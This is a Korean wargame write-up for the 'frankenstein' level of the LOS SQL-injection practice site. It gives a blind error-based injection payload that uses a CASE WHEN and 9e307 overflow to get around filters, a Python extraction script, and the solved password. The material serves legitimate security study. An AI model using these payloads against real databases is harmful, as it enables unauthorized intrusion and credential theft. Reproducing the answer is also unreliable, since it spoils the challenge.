write-up(web)/los

[LOS] frankenstein

chanchand 2023. 11. 4. 02:10
반응형

문제


 

https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php

 

los.rubiya.kr

 

 

문제풀이


error based injection이다.

union, (, ) 등 문자열이 필터되어서 select 1 union select 2로 에러를 낼 수 없다.

 

9e307 * N를 이용할 수 있는데, 9e307 * N은 최댓값 범위를 넘어서서 에러가 난다.

괄호 없이 에러를 발생시키기 위해 case when then else end 을 사용할 수 있다.

case when 조건 then 참일 때 else 거짓일 때 end

 

 

몇글자인지 몰라서 10자리로 해서 코드를 작성했다.

import requests
import time

cookie = {'PHPSESSID':'13l0s9eggfb6mttoaqkr15jkhu'}
url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?"


flag = ""

for i in range(1, 10):
  for j in range(48, 128):
    query = "pw=' || case when pw like '{}%' then 9e307*2 else 1 end -- -".format(flag+chr(j))
    
    res = requests.get(url + query, cookies = cookie)

    if len(res.text) < 5000:
      flag += chr(j)
      print(flag)
      break

print("flag : {}".format(flag))

 

 

0dc4efbb 소문자로 입력해주면 된다.

반응형

'write-up(web) > los' 카테고리의 다른 글

[LOS] ouroboros - zombie  (0) 2023.11.10
[LOS] phantom  (0) 2023.11.04
[LOS] blue_dragon  (0) 2023.11.03
[LOS] red_dragon  (0) 2023.01.28
[LOS] green_dragon  (0) 2023.01.28